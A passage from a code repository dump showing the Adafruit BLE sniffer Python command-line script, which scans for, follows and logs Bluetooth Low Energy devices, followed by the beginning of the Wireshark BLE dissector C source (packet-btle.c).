@param delay: Time to wait for the UART connection to be established (in seconds)
@param delay: int
"""
global mySniffer
# Initialize the device on the specified serial port
print("Connecting to sniffer on " + serport)
mySniffer = Sniffer.Sniffer(serport)
# Start the sniffer
mySniffer.start()
# Wait a bit for the connection to initialise
time.sleep(delay)
def scanForDevices(scantime=5):
"""
@param scantime: The time (in seconds) to scan for BLE devices in range
@type scantime: float
@return: A DeviceList of any devices found during the scanning process
@rtype: DeviceList
"""
if args.verbose:
print("Starting BLE device scan ({0} seconds)".format(str(scantime)))
mySniffer.scan()
time.sleep(scantime)
devs = mySniffer.getDevices()
return devs
def selectDevice(devlist):
"""
Attempts to select a specific Device from the supplied DeviceList
@param devlist: The full DeviceList that will be used to select a target Device from
@type devlist: DeviceList
@return: A Device object if a selection was made, otherwise None
@rtype: Device
"""
count = 0
if len(devlist):
print("Found {0} BLE devices:\n".format(str(len(devlist))))
# Display a list of devices, sorting them by index number
for d in devlist.asList():
"""@type : Device"""
count += 1
print(" [{0}] {1} ({2}:{3}:{4}:{5}:{6}:{7}, RSSI = {8})".format(count, d.name,
"%02X" % d.address[0],
"%02X" % d.address[1],
"%02X" % d.address[2],
"%02X" % d.address[3],
"%02X" % d.address[4],
"%02X" % d.address[5],
d.RSSI))
try:
i = int(input("\nSelect a device to sniff, or '0' to scan again\n> "))
except KeyboardInterrupt:
raise KeyboardInterrupt
return None
except:
return None
# Select a device or scan again, depending on the input
if (i > 0) and (i <= count):
# Select the indicated device
return devlist.find(i - 1)
else:
# This will start a new scan
return None
def dumpPackets():
"""Dumps incoming packets to the display"""
# Get (pop) unprocessed BLE packets.
packets = mySniffer.getPackets()
# Display the packets on the screen in verbose mode
if args.verbose:
for packet in packets:
if packet.blePacket is not None:
# Display the raw BLE packet payload
# Note: 'BlePacket' is nested inside the higher level 'Packet' wrapper class
print(packet.blePacket.payload)
else:
print(packet)
else:
print('.' * len(packets))
if __name__ == '__main__':
"""Main program execution point"""
# Instantiate the command line argument parser
argparser = argparse.ArgumentParser(
description="Interacts with the Bluefruit LE Friend Sniffer firmware")
# Add the individual arguments
# Mandatory arguments:
argparser.add_argument("serialport",
help="serial port location ('COM14', '/dev/tty.usbserial-DN009WNO', etc.)")
# Optional arguments:
argparser.add_argument("-l", "--logfile",
dest="logfile",
default=CaptureFiles.captureFilePath,
help="log packets to file, default: " + CaptureFiles.captureFilePath)
argparser.add_argument("-t", "--target",
dest="target",
help="target device address")
argparser.add_argument("-r", "--random_txaddr",
dest="txaddr",
action="store_true",
default=False,
help="Target device is using random address")
argparser.add_argument("-v", "--verbose",
dest="verbose",
action="store_true",
default=False,
help="verbose mode (all serial traffic is displayed)")
# Parser the arguments passed in from the command-line
args = argparser.parse_args()
# Display the libpcap logfile location
print("Capturing data to " + args.logfile)
CaptureFiles.captureFilePath = args.logfile
# Try to open the serial port
try:
setup(args.serialport)
except OSError:
# pySerial returns an OSError if an invalid port is supplied
print("Unable to open serial port '" + args.serialport + "'")
sys.exit(-1)
except KeyboardInterrupt:
sys.exit(-1)
# Optionally display some information about the sniffer
if args.verbose:
print("Sniffer Firmware Version: " + str(mySniffer.swversion))
# Scan for devices in range until the user makes a selection
try:
d = None
"""@type: Device"""
if args.target:
print("specified target device", args.target)
_mac = [int(x, 16) for x in args.target.split(':')]
if len(_mac) != 6:
raise ValueError("Invalid device address")
# -72 seems reasonable for a target device right next to the sniffer
d = Device(_mac, name="NoDeviceName", RSSI=-72, txAdd=args.txaddr)
# loop will be skipped if a target device is specified on commandline
while d is None:
print("Scanning for BLE devices (5s) ...")
devlist = scanForDevices()
if len(devlist):
# Select a device
d = selectDevice(devlist)
# Start sniffing the selected device
print("Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}".format("%02X" % d.address[0],
"%02X" % d.address[1],
"%02X" % d.address[2],
"%02X" % d.address[3],
"%02X" % d.address[4],
"%02X" % d.address[5]))
# Make sure we actually followed the selected device (i.e. it's still available, etc.)
if d is not None:
mySniffer.follow(d)
else:
print("ERROR: Could not find the selected device")
# Dump packets
while True:
dumpPackets()
time.sleep(1)
# Close gracefully
mySniffer.doExit()
sys.exit()
except (KeyboardInterrupt, ValueError, IndexError) as e:
# Close gracefully on CTRL+C
if 'KeyboardInterrupt' not in str(type(e)):
print("Caught exception:", e)
mySniffer.doExit()
sys.exit(-1)
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/sniffer_uart_protocol.xlsx
================================================
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/OSX/readme.md
================================================
This file should be place in the ~/.wireshark/plugins folder on your OS X development machine, so
`~/.wireshark/plugins/nordic_btle.so`.
This plugin should add the following protocol decoder option:

Compiled File taken from [nrf-ble-sniffer-osx](http://sourceforge.net/projects/nrfblesnifferosx/), based on the
source code one level higher in this repo.
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-btle.c
================================================
/* packet-btle.c
* Routines for Bluetooth Low Energy dissection
* Copyright 2013, Mike Ryan, mikeryan /at/ isecpartners /dot/ com
* Copyright 2014, Nordic Semiconductor ASA
*
* Wireshark - Network traffic analyzer
* By Gerald Combs
* Copyright 1998 Gerald Combs
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
// #include /* needed for epan/gcc-4.x */
#include
#include
#include
#include
#include
/* LL control opcodes */
#define LL_CONNECTION_UPDATE_REQ 0x00
#define LL_CHANNEL_MAP_REQ 0x01
#define LL_TERMINATE_IND 0x02
#define LL_ENC_REQ 0x03
#define LL_ENC_RSP 0x04
#define LL_START_ENC_REQ 0x05
#define LL_START_ENC_RSP 0x06
#define LL_UNKNOWN_RSP 0x07
#define LL_FEATURE_REQ 0x08
#define LL_FEATURE_RSP 0x09
#define LL_PAUSE_ENC_REQ 0x0A
#define LL_PAUSE_ENC_RSP 0x0B
#define LL_VERSION_IND 0x0C
#define LL_REJECT_IND 0x0D
/* function prototypes */
void proto_reg_handoff_btle(void);
/* initialize the protocol and registered fields */
static int proto_btle = -1;
static int hf_btle_pkthdr = -1;
static int hf_btle_aa = -1;
static int hf_btle_type = -1;
static int hf_btle_randomized_tx = -1;
static int hf_btle_randomized_rx = -1;
static int hf_btle_length = -1;
static int hf_btle_adv_addr = -1;
static int hf_btle_adv_data = -1;
static int hf_btle_init_addr = -1;
static int hf_btle_scan_addr = -1;
static int hf_btle_scan_rsp_data = -1;
static int hf_btle_connect = -1;
static int hf_btle_connect_aa = -1;
static int hf_btle_crc_init = -1;
static int hf_btle_win_size = -1;
static int hf_btle_win_offset = -1;
static int hf_btle_interval = -1;
static int hf_btle_min_interval = -1;
static int hf_btle_max_interval = -1;
static int hf_btle_latency = -1;
static int hf_btle_timeout = -1;
static int hf_btle_hop_interval = -1;
static int hf_btle_sleep_clock_accuracy = -1;
static int hf_btle_data = -1;
static int hf_btle_data_llid = -1;
static int hf_btle_data_nesn = -1;
static int hf_btle_data_sn = -1;
static int hf_btle_data_md = -1;
static int hf_btle_data_rfu = -1;
static int hf_btle_ll_control = -1;
static int hf_btle_ll_control_opcode = -1;
static int hf_btle_ll_control_data = -1;
static int hf_btle_ll_control_ll_enc_req = -1;
static int hf_btle_ll_control_ll_enc_req_rand = -1;
static int hf_btle_ll_control_ll_enc_req_ediv = -1;
static int hf_btle_ll_control_ll_enc_req_skdm = -1;
static int hf_btle_ll_control_ll_enc_req_ivm = -1;
static int hf_btle_ll_control_ll_enc_rsp = -1;
static int hf_btle_ll_control_ll_enc_rsp_skds = -1;
static int hf_btle_ll_control_ll_enc_rsp_ivs = -1;
static int hf_btle_crc = -1;
static int hf_btle_instant = -1;
static int hf_btle_channel_map = -1;
static int hf_btle_enabled_channels = -1;
static int hf_btle_error_code = -1;
static int hf_btle_unknown_type = -1;
static int hf_btle_feature_set = -1;
static int hf_btle_supported_feature = -1;
static int hf_btle_unsupported_feature = -1;
static int hf_btle_bt_version = -1;
static int hf_btle_company_id = -1;
static int hf_btle_sub_version_num = -1;
static int hf_btle_adv_data_attr = -1;
static int hf_btle_adv_data_attr_type = -1;
static int hf_btle_adv_data_attr_length = -1;
static int hf_btle_adv_data_attr_value = -1;
static int hf_btle_adv_data_attr_value_string = -1;
// #if 0
// static int hf_btle_adv_data_flags = -1;
// static int hf_btle_adv_data_inc_16b_uuids = -1;
// static int hf_btle_adv_data_com_16b_uuids = -1;
// static int hf_btle_adv_data_inc_32b_uuids = -1;
// static int hf_btle_adv_data_com_32b_uuids = -1;
// static int hf_btle_adv_data_inc_128b_uuids = -1;
// static int hf_btle_adv_data_com_128b_uuids = -1;
// static int hf_btle_adv_data_short_local_name = -1;
// static int hf_btle_adv_data_com_local_name = -1;
// static int hf_btle_adv_data_tx_power = -1;
// static int hf_btle_adv_data_dev_class = -1;
// static int hf_btle_adv_data_pair_hash_c = -1;
// static int hf_btle_adv_data_pair_rand_r = -1;
// static int hf_btle_adv_data_dev_id = -1;
// static int hf_btle_adv_data_sec_man_oob_flags = -1;
// static int hf_btle_adv_data_conn_int_range = -1;
// static int hf_btle_adv_data_16b_service_uuids = -1;
// static int hf_btle_adv_data_128b_service_uuids = -1;
// static int hf_btle_adv_data_service_data = -1;
// static int hf_btle_adv_data_pub_target_addr = -1;
// static int hf_btle_adv_data_rand_target_addr = -1;
// static int hf_btle_adv_data_appearance = -1;
// static int hf_btle_adv_data_adv_int = -1;
// static int hf_btle_adv_data_manufacturer = -1;
#define index_hf_btle_adv_data_flags 1
#define index_hf_btle_adv_data_inc_16b_uuids 2
#define index_hf_btle_adv_data_com_16b_uuids 3
#define index_hf_btle_adv_data_inc_32b_uuids 4
#define index_hf_btle_adv_data_com_32b_uuids 5
#define index_hf_btle_adv_data_inc_128b_uuids 6
#define index_hf_btle_adv_data_com_128b_uuids 7
#define index_hf_btle_adv_data_short_local_name 8
#define index_hf_btle_adv_data_com_local_name 9
#define index_hf_btle_adv_data_tx_power 10
#define index_hf_btle_adv_data_dev_class 13
#define index_hf_btle_adv_data_pair_hash_c 14
#define index_hf_btle_adv_data_pair_rand_r 15
#define index_hf_btle_adv_data_dev_id 16
#define index_hf_btle_adv_data_sec_man_oob_flags 17
#define index_hf_btle_adv_data_conn_int_range 18
#define index_hf_btle_adv_data_16b_service_uuids 20
#define index_hf_btle_adv_data_128b_service_uuids 21
#define index_hf_btle_adv_data_service_data 22
#define index_hf_btle_adv_data_pub_target_addr 23
#define index_hf_btle_adv_data_rand_target_addr 24
#define index_hf_btle_adv_data_appearance 25
#define index_hf_btle_adv_data_adv_int 26
#define index_hf_btle_adv_data_service_data_32b 0x20
#define index_hf_btle_adv_data_service_data_128b 0x21
// #define index_hf_btle_adv_data_manufacturer 255
static int hf_btle_adv_data_attrs[40] = {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1};
static int hf_btle_adv_data_manufacturer = -1;
static int hf_btle_adv_data_unknown = -1;
static int hf_btle_adv_data_flag_le_limited_discoverable = -1;
static int hf_btle_adv_data_flag_le_general_discoverable = -1;
static int hf_btle_adv_data_flag_br_edr_not_supported = -1;
static int hf_btle_adv_data_flag_simultaneous_le_br_edr_controller = -1;
static int hf_btle_adv_data_flag_simultaneous_le_br_edr_host = -1;
static int hf_btle_128b_uuid = -1;
static int hf_btle_32b_uuid = -1;
static int hf_btle_16b_uuid = -1;
static int hf_service_data_value = -1;
static int hf_btle_adv_data_adv_int_ms = -1;
// static expert_field ei_btle_packet_too_short = EI_INIT;
// static expert_field ei_btle_packet_too_long = EI_INIT;
// #endif
static const value_string packet_types[] = {
{ 0x0, "ADV_IND" },
{ 0x1, "ADV_DIRECT_IND" },
{ 0x2, "ADV_NONCONN_IND" },
{ 0x3, "SCAN_REQ" },
{ 0x4, "SCAN_RSP" },
{ 0x5, "CONNECT_REQ" },
{ 0x6, "ADV_SCAN_IND" },
{ 0, NULL }
};
static const value_string llid_codes[] = {
{ 0x0, "undefined" },
{ 0x1, "Continuation fragment of an L2CAP message" },
{ 0x2, "Start of an L2CAP message or no fragmentation" },
{ 0x3, "LL Control PDU" },
{ 0, NULL }
};
static const value_string ll_control_opcodes[] = {
{ 0x00, "LL_CONNECTION_UPDATE_REQ" },
{ 0x01, "LL_CHANNEL_MAP_REQ" },
{ 0x02, "LL_TERMINATE_IND" },
{ 0x03, "LL_ENC_REQ" },
{ 0x04, "LL_ENC_RSP" },
{ 0x05, "LL_START_ENC_REQ" },
{ 0x06, "LL_START_ENC_RSP" },
{ 0x07, "LL_UNKNOWN_RSP" },
{ 0x08, "LL_FEATURE_REQ" },
{ 0x09, "LL_FEATURE_RSP" },
{ 0x0A, "LL_PAUSE_ENC_REQ" },
{ 0x0B, "LL_PAUSE_ENC_RSP" },
{ 0x0C, "LL_VERSION_IND" },
{ 0x0D, "LL_REJECT_IND" },
{ 0, NULL }
};
static const value_string adv_data_attr_types[] = {
{ 0x01, "Flags" },
{ 0x02, "Incomplete List of 16-bit Service Class UUIDs" },
{ 0x03, "Complete List of 16-bit Service Class UUIDs" },
{ 0x04, "Incomplete List of 32-bit Service Class UUIDs" },
{ 0x05, "Complete List of 32-bit Service Class UUIDs" },
{ 0x06, "Incomplete List of 128-bit Service Class UUIDs" },
{ 0x07, "Complete List of 128-bit Service Class UUIDs" },
{ 0x08, "Shortened Local Name" },
{ 0x09, "Complete Local Name" },
{ 0x0A, "Tx Power Level" },
{ 0x0D, "Class of Device" },
{ 0x0E, "Simple Pairing Hash C" },
{ 0x0F, "Simple Pairing Randomizer R" },
{ 0x10, "Device ID / Security Manager TK Value" },
{ 0x11, "Security Manager Out of Band Flags" },
{ 0x12, "Slave Connection Interval Range" },
{ 0x14, "List of 16-bit Service Solicitation UUIDs" },
{ 0x15, "List of 128-bit Service Solicitation UUIDs" },
{ 0x16, "Service Data for 16 bit UUID." },
{ 0x17, "Public Target Address" },
{ 0x18, "Random Target Address" },
{ 0x19, "Appearance" },
{ 0x1A, "Advertising Interval" },
{ 0x20, "Service Data for 32 bit UUID." },
{ 0x21, "Service Data for 128 bit UUID." },
{ 0x21, "Advertising Interval" },
{ 0xFF, "Manufacturer Specific Data" },
{ 0xFE, "Unknown type" }
};
static const value_string sleep_clock_accuracy_values[] = {
{ 0x00, "251 ppm to 500 ppm" },
{ 0x01, "151 ppm to 250 ppm" },
{ 0x02, "101 ppm to 150 ppm" },
{ 0x03, "76 ppm to 100 ppm" },
{ 0x04, "51 ppm to 75 ppm" },
{ 0x05, "31 ppm to 50 ppm" },
{ 0x06, "21 ppm to 30 ppm" },
{ 0x07, "0 ppm to 20 ppm" }
};
static const value_string error_codes[] = {
{ 0x00, "Success" },
{ 0x01, "Unknown HCI Command" },
{ 0x02, "Unknown Connection Identifier" },
{ 0x03, "Hardware Failure" },
{ 0x04, "Page Timeout" },
{ 0x05, "Authentication Failure" },
{ 0x06, "PIN or Key Missing" },
{ 0x07, "Memory Capacity Exceeded" },
{ 0x08, "Connection Timeout" },
{ 0x09, "Connection Limit Exceeded" },
{ 0x0A, "Synchronous Connection Limit To A Device Exceeded" },
{ 0x0B, "ACL Connection Already Exists" },
{ 0x0C, "Command Disallowed" },
{ 0x0D, "Connection Rejected due to Limited Resources" },
{ 0x0E, "Connection Rejected Due To Security Reasons" },
{ 0x0F, "Connection Rejected due to Unacceptable BD_ADDR" },
{ 0x10, "Connection Accept Timeout Exceeded" },
{ 0x11, "Unsupported Feature or Parameter Value" },
{ 0x12, "Invalid HCI Command Parameters" },
{ 0x13, "Remote User Terminated Connection" },
{ 0x14, "Remote Device Terminated Connection due to Low Resources" },
{ 0x15, "Remote Device Terminated Connection due to Power Off" },
{ 0x16, "Connection Terminated By Local Host" },
{ 0x17, "Repeated Attempts" },
{ 0x18, "Pairing Not Allowed" },
{ 0x19, "Unknown LMP PDU" },
{ 0x1A, "Unsupported Remote Feature / Unsupported LMP Feature" },
{ 0x1B, "SCO Offset Rejected" },
{ 0x1C, "SCO Interval Rejected" },
{ 0x1D, "SCO Air Mode Rejected" },
{ 0x1E, "Invalid LMP Parameters" },
{ 0x1F, "Unspecified Error" },
{ 0x20, "Unsupported LMP Parameter Value" },
{ 0x21, "Role Change Not Allowed" },
{ 0x22, "LMP Response Timeout / LL Response Timeout" },
{ 0x23, "LMP Error Transaction Collision" },
{ 0x24, "LMP PDU Not Allowed" },
{ 0x25, "Encryption Mode Not Acceptable" },
{ 0x26, "Link Key cannot be Changed" },
{ 0x27, "Requested QoS Not Supported" },
{ 0x28, "Instant Passed" },
{ 0x29, "Pairing With Unit Key Not Supported" },
{ 0x2A, "Different Transaction Collision" },
{ 0x2B, "Reserved" },
{ 0x2C, "QoS Unacceptable Parameter" },
{ 0x2D, "QoS Rejected" },
{ 0x2E, "Channel Classification Not Supported" },
{ 0x2F, "Insufficient Security" },
{ 0x30, "Parameter Out Of Mandatory Range" },
{ 0x31, "Reserved" },
{ 0x32, "Role Switch Pending" },
{ 0x33, "Reserved" },
{ 0x34, "Reserved Slot Violation" },
{ 0x35, "Role Switch Failed" },
{ 0x36, "Extended Inquiry Response Too Large" },
{ 0x37, "Secure Simple Pairing Not Supported By Host." },
{ 0x38, "Host Busy - Pairing" },
{ 0x39, "Connection Rejected due to No Suitable Channel Found" },
{ 0x3A, "Controller Busy" },
{ 0x3B, "Unacceptable Connection Interval" },
{ 0x3C, "Directed Advertising Timeout" },
{ 0x3D, "Connection Terminated due to MIC Failure" },
{ 0x3E, "Connection Failed to be Established" },
{ 0x3F, "MAC Connection Failed" }
};
/* These are the BR/EDR features. They are not used presently, but might be later. */
/* See below for LE feature set. */
static const value_string features[] = {
{ 0, "3 slot packets" },
{ 1, "5 slot packets" },
{ 2, "Encryption" },
{ 3, "Slot offset" },
{ 4, "Timing accuracy" },
{ 5, "Role switch" },
{ 6, "Hold mode" },
{ 7, "Sniff mode" },
{ 8, "Park state" },
{ 9, "Power control requests" },
{ 10, "Channel quality driven data rate (CQDDR)" },
{ 11, "SCO link" },
{ 12, "HV2 packets " },
{ 13, "HV3 packets" },
{ 14, "mu-law log synchronous data" },
{ 15, "A-law log synchronous data" },
{ 16, "CVSD synchronous data" },
{ 17, "Paging parameter negotiation" },
{ 18, "Power control" },
{ 19, "Transparent synchronous data" },
{ 20, "Flow control lag (least significant bit)" },
{ 21, "Flow control lag (middle bit)" },
{ 22, "Flow control lag (most significant bit)" },
{ 23, "Broadcast Encryption" },
{ 24, "Reserved" },
{ 25, "Enhanced Data Rate ACL 2 Mbps mode" },
{ 26, "Enhanced Data Rate ACL 3 Mbps mode" },
{ 27, "Enhanced inquiry scan" },
{ 28, "Interlaced inquiry scan" },
{ 29, "Interlaced page scan" },
{ 30, "RSSI with inquiry results" },
{ 31, "Extended SCO link (EV3 packets)" },
{ 32, "EV4 packets" },
{ 33, "EV5 packets" },
{ 34, "Reserved" },
{ 35, "AFH capable slave " },
{ 36, "AFH classification slave " },
{ 37, "BR/EDR Not Supported" },
{ 38, "LE Supported (Controller)" },
{ 39, "3-slot Enhanced Data Rate ACL packets" },
{ 40, "5-slot Enhanced Data Rate ACL packets" },
{ 41, "Sniff subrating" },
{ 42, "Pause encryption" },
{ 43, "AFH capable master " },
{ 44, "AFH classification master " },
{ 45, "Enhanced Data Rate eSCO 2 Mbps mode" },
{ 46, "Enhanced Data Rate eSCO 3 Mbps mode" },
{ 47, "3-slot Enhanced Data Rate eSCO packets" },
{ 48, "Extended Inquiry Response" },
{ 49, "Simultaneous LE and BR/EDR to Same Device Capable (Controller)" },
{ 50, "Reserved" },
{ 51, "Secure Simple Pairing" },
{ 52, "Encapsulated PDU" },
{ 53, "Erroneous Data Reporting" },
{ 54, "Non-flushable Packet Boundary Flag" },
{ 55, "Reserved" },
{ 56, "Link Supervision Timeout Changed Event" },
{ 57, "Inquiry TX Power Level" },
{ 58, "Enhanced Power Control" },
{ 59, "Reserved" },
{ 60, "Reserved" },
{ 61, "Reserved" },
{ 62, "Reserved" },
{ 63, "Extended features" }
};
static const value_string le_features[] = {
{ 0, "LE Encryption"}
};
static const true_false_string addr_flag_tfs =
{
"random",
"public"
};
static const guint32 ADV_AA = 0x8e89bed6;
static const char nondirect_dst[] = "";
static const guint8 nondirect_dst_string_length = 12;
static const char implicit_src[] = "";
static const guint8 implicit_src_string_length = 11;
static const char implicit_dst[] = "";
static const guint8 implicit_dst_string_length = 11;
/* initialize the subtree pointers */
static gint ett_btle = -1;
static gint ett_btle_pkthdr = -1;
static gint ett_btle_connect = -1;
static gint ett_btle_data = -1;
static gint ett_ll_enc_req = -1;
static gint ett_ll_enc_rsp = -1;
static gint ett_ll_control = -1;
static gint ett_ll_control_data = -1;
static gint ett_feature_set = -1;
static gint ett_channel_map = -1;
static gint ett_adv_data = -1;
static gint ett_adv_data_attr = -1;
static gint ett_adv_data_flags = -1;
static gint ett_uuids = -1;
/* subdissectors */
static dissector_handle_t btl2cap_handle = NULL;
void
reverse_byte_order(guint8* dest, const guint8* src, guint size)
{
guint i;
for (i = 0; i < size; i++)
{
dest[i] = src[size-1-i];
}
}
void
reverse_byte_order_inplace(guint8* array, guint size)
{
guint i;
guint8 tmp;
for (i = 0; i < size/2; i++)
{
tmp = array[i];
array[i] = array[size-1-i];
array[size-1-i] = tmp;
}
}
void
dissect_feature_set(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_tree* feature_set_tree;
proto_item* feature_set_item;
int i;
guint64 feature_set;
feature_set_item = proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset, 8, ENC_LITTLE_ENDIAN);
feature_set_tree = proto_item_add_subtree(feature_set_item, ett_feature_set);
feature_set = tvb_get_letoh64(tvb, offset);
for (i = 0; i < 1; i++)
{
if (feature_set & ((guint64)1 << i))
{
proto_tree_add_uint(feature_set_tree, hf_btle_supported_feature, tvb, offset+(i/8), 1, i);
}
else
{
proto_tree_add_uint(feature_set_tree, hf_btle_unsupported_feature, tvb, offset+(i/8), 1, i);
}
}
}
void
dissect_channel_map(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_item* map_item;
proto_tree* map_tree;
int i;
guint64 map;
gchar format[200] = "Enabled channels: ";
gchar* format_pointer = &format[18];
map_item = proto_tree_add_item(tree, hf_btle_channel_map, tvb, offset, 5, ENC_LITTLE_ENDIAN);
map_tree = proto_item_add_subtree(map_item, ett_channel_map);
map = tvb_get_letoh64(tvb, offset);
for (i = 0; i < 37; i++)
{
if (map & ((guint64)1 << i))
{
sprintf(format_pointer, "%2d, ", i);
}
else
{
sprintf(format_pointer, " , ", i);
}
// format_pointer = (i<10) ? format_pointer+3 : format_pointer+4;
format_pointer = format_pointer+4;
}
proto_tree_add_text(map_tree, tvb, offset, 5, &format[0]);
}
proto_tree* add_adv_data_attr(proto_tree* tree, tvbuff_t* tvb, const int hf, const guint8 length, const guint enc)
{
proto_item* attr_item;
proto_tree* attr_tree;
guint8 type;
attr_item = proto_tree_add_item(tree, hf, tvb, 2, length-1, enc);
attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags);
type = tvb_get_guint8(tvb, 1);
proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
if (hf == hf_btle_adv_data_unknown)
{
proto_tree_add_uint_format_value(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type, "Unknown type (%#2x)", type);
}
else
{
proto_tree_add_uint(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type);
}
// proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, enc);
return attr_tree;
}
// void
// dissect_service_data(proto_tree *tree, tvbuff_t *tvb, length)
// {
// }
void
dissect_adv_data_attr(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo)
{
// proto_item* attr_length_item;
// proto_item* attr_type_item;
// proto_item* attr_value_item;
// proto_item* attr_value_string_item;
// proto_item* attr_item;
proto_tree* attr_tree;
int i;
guint8* name;
guint8* uuids;
gint8 tx_power;
gfloat min_interval, max_interval, adv_interval, tmp;
guint16 max_interval_raw;
// guint8 temp_uuid[16];
wmem_allocator_t* epan_scope_mem_pool;
guint8 address[6];
guint8 length, type;
length = tvb_get_guint8(tvb, 0);
type = tvb_get_guint8(tvb, 1);
// if (type == 0 || type == 11 || type == 12 || type == 19 || (type > 26 && type != 255))
// return;
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 0, tvb_length(tvb), ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_attr);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
switch(type){
case index_hf_btle_adv_data_flags:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_host, tvb, 3*8 - 5, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_controller, tvb, 3*8 - 4, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_br_edr_not_supported, tvb, 3*8 - 3, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_general_discoverable, tvb, 3*8 - 2, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_limited_discoverable, tvb, 3*8 - 1, 1, ENC_LITTLE_ENDIAN);
break;
case index_hf_btle_adv_data_com_128b_uuids:
case index_hf_btle_adv_data_inc_128b_uuids:
case index_hf_btle_adv_data_128b_service_uuids:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
epan_scope_mem_pool = wmem_epan_scope();
uuids = wmem_alloc(epan_scope_mem_pool, length);
for (i = 2; i < length; i += 16)
{
tvb_memcpy(tvb, &uuids[i], i, 16);
reverse_byte_order_inplace(&uuids[i], 16);
proto_tree_add_bytes(attr_tree, hf_btle_128b_uuid, tvb, i, 16, &uuids[i]);
}
break;
case index_hf_btle_adv_data_com_32b_uuids:
case index_hf_btle_adv_data_inc_32b_uuids:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
for (i = 2; i < length; i += 4)
{
proto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, i, 4, ENC_LITTLE_ENDIAN);
}
break;
case index_hf_btle_adv_data_com_16b_uuids:
case index_hf_btle_adv_data_inc_16b_uuids:
case index_hf_btle_adv_data_16b_service_uuids:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
for (i = 2; i < length; i += 2)
{
proto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, i, 2, ENC_LITTLE_ENDIAN);
}
break;
case index_hf_btle_adv_data_short_local_name:
case index_hf_btle_adv_data_com_local_name:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8);
